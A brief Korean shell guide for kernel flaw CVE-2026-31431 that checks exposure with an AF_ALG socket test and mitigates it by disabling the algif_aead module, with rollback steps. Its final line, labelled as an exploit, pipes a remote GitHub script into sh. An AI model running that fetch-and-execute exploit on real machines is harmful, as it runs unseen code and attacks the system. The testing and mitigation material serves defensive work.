
CVE-2026-31431 커널 취약점 테스트로, 취약 여부를 확인하고 algif_aead 모듈을 비활성화하여 수정을 제공합니다.
# 테스트: 취약점 확인
python3 -c 'import socket;exec("try:s=socket.socket(socket.AF_ALG,socket.SOCK_SEQPACKET,0);s.bind((\"aead\",\"authencesn(hmac(sha256),cbc(aes))\"));print(\"vulnerable\")\nexcept:print(\"not vulnerable\")")'
# 모듈 확인
# 커널에 모듈이 로드되었는지 확인
lsmod | grep -q '^algif_aead' && echo "loaded" || echo "not loaded"
# 수정: 모듈 제거
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 2>/dev/null || true
# 롤백: 모듈 다시 로드
sudo rm -f /etc/modprobe.d/disable-algif.conf
sudo depmod -a
# 익스플로잇
curl https://raw.githubusercontent.com/studiogangster/CVE-2026-31431/refs/heads/main/test.sh | sh